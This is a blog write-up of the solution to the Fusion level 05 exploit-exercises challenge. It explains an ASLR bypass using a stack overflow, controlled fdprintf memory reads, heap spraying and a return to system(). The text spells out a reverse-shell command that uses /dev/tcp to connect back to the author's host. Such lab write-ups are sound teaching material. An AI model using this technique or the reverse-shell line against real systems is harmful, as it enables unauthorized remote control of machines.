Fusion – Level 05 solution

exploit-exercises.com provides a variety of virtual machines, documentation and challenges that can be used to learn about a variety of computer security issues such as privilege escalation, vulnerability analysis, exploit development, debugging, reverse engineering, and general cyber security issues. The exercise talked about in this blog post can be found here:
https://exploit-exercises.com/fusion/level05/

I am writing this blog post because I saw no solution similar to mine over the internet. Hopefully exposing my method and techniques, I will be able to enrich others knowledge and methodology.

The Problem

In this exercise we are facing a web server compiled with several protection mechanisms, also we are expecting the vulnerability to be stack based.

Compiled protection
Fig. 1, The vulnerability type and compiled protections

To bypass these protections mechanisms and obtain some kind of shell, we’ll have to:

  • Find an information leak in order to bypass the different ASLR protections
  • Obtain some write capabilities for something to execute, either a shellcode or a string
  • Execution capabilities

Intro

The method I used to solve this exercise will cover the concept of heap spraying and stack overflowing both for controlling the EIP and for changing only the stack variables which will change the behavior of the program for out benefit. Changing only the saved stack variables will provide the ability to read (almost) any address. With that in mind, let’s dive in.

The code begins with the server listening on port 20005, and an internal task creation mechanism – creating a childtask() for new connection received. It is important to mention that unlike previous exercises, the code in the main() function doesn’t fork(), therefore if we crash the program it’s a “game over”, we won’t be able to communicate with the server anymore and we will have to restart the program. The side effect of restarting the program, is the randomization of the addresses will happen again, thus we have to find an information leak without crashing the program. An information leak is the idea of finding some kind of information disclosure that will help us bypass the ASLR protection.

The real logic begins with function childtask(), where you have 5 known commands you can send to the application: “addreg”, “senddb”, “checkname”, “quit” and “isup”.

The only functions i will use for the exploit are checkname() and isup().

Obtaining Read Capabilities

Let’s observe the function checkname()

And the called function as well get_and_hash()

Under the function get_and_hash(), it appears the author implemented his own kind of strcpy(), which will stop copying either on a null termination, or when the string has the separator value inside of it, which is @ – 0x40. It has no actual string length limitation, and this is where the magic begins.

We can essentially send a string of (almost) 512 bytes in the childtask() function, this function will pass a duplicated string to checkname(), and it will pass it forward to get_and_hash() where the buffer overflow occurs. Let’s examine the get_and_hash() prologue and epilogue to better understand the overflow benefits and possible effects.

Fig. 2, get_and_hash Prologue
Fig. 3, get_and_hash Epilogue

 

 

 

 

 

 

 

 

 

Notice the registers ESI, EDI and EBP. When we overflow the stack, we first fill the data saved for the buffer char name[32]; but after that saved buffer, there are also the three registers that pushed on the stack in the Prologue that we can overflow as well. They are restored in the Epilogue of the function with any new data I provide (After the overflow occurred). Let’s see if these saved values can benefit us somehow in the calling function checkname(). Here is an assembly screenshot of how it looks like, with additional comments of mine:

Fig. 4, checkname() explained

Let’s see if the registers we can override ESI, EDI and EBP have any meaning in this function.
It seems like EDI is expected to have the string, and ESI the file descriptor (FD). This is great, a pseudo call to the fdprintf() function would look like that:

fdprintf(ESI, "%s is %sindexed already\n", EDI, registrations[h].ipv4 ? "" : "not ");

After a short dynamic examination, I noticed that the file descriptor always had the same value of 4 and regarding the string, if I can manage to provide any readable address, it will be printed. I can theoretically repeat this function for all of the memory, I will be able to find the address of libc and then the address of system() which will easily help me execute any command and a little spoiler: later on my reverse shell. Basically right now I almost have the ability to read any address, however providing an invalid address to the fdprintf() function will cause the program to crash. I don’t know any valid existing address, so what should I do?

Heap Spray

In order to obtain a valid address to read from, we will have to create it. I noticed the addresses are more or less the same every time I restarted the program:

The first byte of the lowest address loaded library is always around 0xB6000000 to 0xB9000000, including the beginning of the heap, the heap also begins somewhere between the last loaded library and the stack. The maximum available address that anything can be at has to be lower than 0xC0000000, therefore, if I can allocate enough data on the heap, increasing its size, I can safely guess an address that will surely be readable. any address between 0xbd00000 to 0xbe000000 will surely be mine if I allocate & write enough data on the heap. So how can I do that?

Examine the call to the function isup():

There is a call to strdup() which duplicated a string on the memory:

DESCRIPTION
The strdup() function returns a pointer to a new string which is a duplicate of the string s. Memory for the new string is obtained with malloc(3), and can be freed with free(3).

but there is no subsequent call to free() which means the buffer is never freed from the heap, if we call the strdup() plenty of times (more specifically around 0x20000 times) with a long string we can essentially predict an address on the heap which will contain our provided data.

Above you can see an example of the heap post spraying. Notice the new heap created and its size. The string I sprayed includes the file descriptor, which is always 4, and the string I want to execute for a reverse shell. It is very important to play with the spray for every different string length, because it has to be aligned perfectly for every 0x100 bytes, Which means that for every 0x______XY possible address, when X and Y are static, the same value will be set on that address (Thanks to the spray).

The next step is to use my read capabilities I explained earlier to read the buffer allocated on the heap, and walk backwards(!) until the buffer is no longer there, which means the point before the spray began. This is done quite easily with a guessed address for my expected string as well as providing an address for the FD. The iteration on the heap would be decreasing the address every run by 0x100, until we no longer see the expected buffer, this will be the ground zero, where the spray began. At this point I have a pointer to the very first allocated string, relatively to that address i found a pointer for the isup() function probably caused by the taskcreate() internal mechanism which doesn’t properly free the addresses as well. After reading this address as well, it’s pretty much over and I am on the way to successfully bypassing the ASLR mechanism.

Here is a picture showing the end of the buffer I sprayed, as well as showing the address of the isup() function, which always resides just next to my buffer.

Fig. 5, Showing the beginning of the sprayed heap

At this point it becomes quite easy to find the system() address. using the same technique to read the heap, with the fdprintf() function we control, just provide the address of the isup() pointer. From there I have an address of the main binary level05, I can read any relative address, so a function pointer in the GOT will just do, for example ‘write’ which is in the libc library, and from there I can a relatively obtain the address for system(). In short, it goes like that:

Heap -> isup (level05) -> write (level05) -> write (libc) -> system (libc)

Now when I have the system address, if I can spray a command that will give me a remote shell. I choose to spray the string /bin/sh > /dev/tcp/192.168.164.1/1337 0>&1 2>&1 Where my host IP is 192.168.164.1, and the port I will listen on is 1337. Now I already know how to spray, and I now know I can spray a nice command for a reverse shell. To execute system() with, I just overflow the checkname() function further, overriding EBP which we no longer care about, and providing a new address to return to, which will be system(), don’t forget to provide the argument we sprayed on the heap as well to obtain the reverse shell.

Fig. 6, After obtaining the reverse shell

The code exploiting the level (Written in python):

use the script, one with an argument ‘spray’ and one with an argument ‘run’. The script include things which i didn’t go through on this blog, such as bad addresses that you cant provide because of string limitation, and possible weird behavior of the heap. The code explains them and handles these situations. It is also possible to make the exploit cleaner, changing the return address of system() to some clear exit that will not crash the program.

The exploit could easily be closed, if the program would actually be compiled with a stack cookie protection, canceling the possibility to brute force it without crashing the program. Or if the memory handling would be handled properly with calls to free, including the internal implementation of the tasks which also gave me an information disclosure on the heap.

Leave a Reply

Your email address will not be published. Required fields are marked *